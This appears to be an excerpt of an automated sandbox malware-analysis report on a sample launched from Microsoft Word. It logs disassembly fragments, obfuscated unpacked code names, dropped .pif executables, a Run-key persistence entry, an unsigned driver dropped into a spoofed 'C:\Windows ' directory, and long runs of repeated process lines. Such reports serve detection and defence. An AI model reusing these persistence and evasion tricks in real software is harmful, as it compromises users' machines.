Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027CA917 push 027CA950h; ret	7_2_027CA948
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C8910 push 027C8948h; ret	7_2_027C8940
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C890E push 027C8948h; ret	7_2_027C8940
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027CE9E8 push ecx; mov dword ptr [esp], edx	7_2_027CE9ED
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027BC9CF push 027BCCF2h; ret	7_2_027BCCEA
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C2EE0 push 027C2F56h; ret	7_2_027C2F4E
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C2FEC push 027C3039h; ret	7_2_027C3031
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C2FEB push 027C3039h; ret	7_2_027C3031
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027DBFA0 push 027DC1C8h; ret	7_2_027DC1C0
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C5DFC push ecx; mov dword ptr [esp], edx	7_2_027C5DFE
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_3_238787DB push es; iretd	10_3_23878A0E
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_0041C40C push cs; iretd	10_2_0041C4E2
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_00423149 push eax; ret	10_2_00423179
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_0041C50E push cs; iretd	10_2_0041C4E2

Source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\brightness.exe	File created: C:\Users\Public\Libraries\jphwmyiA.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\brightness.exe	File created: C:\Users\Public\Libraries\Aiymwhpj.PIF			Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Executable created and started: C:\Windows\SysWOW64\brightness.exe

Jump to behavior

Sample is not signed and drops a device driver

Source: C:\Windows\SysWOW64\brightness.exe	File created: C:\Windows \SysWOW64\truesight.sys	Jump to behavior
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	File created: C:\Windows \SysWOW64\truesight.sys
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	File created: C:\Windows \SysWOW64\truesight.sys

Source: C:\Windows\SysWOW64\brightness.exe	File created: C:\Users\Public\Libraries\jphwmyiA.pif	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	File created: C:\Windows\SysWOW64\brightness.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\brightness.exe	File created: C:\Users\Public\Libraries\Aiymwhpj.PIF	Jump to dropped file

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Windows\SysWOW64\brightness.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\brightness.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Aiymwhpj			Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Aiymwhpj			Jump to behavior

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027CA954 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_027CA954

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
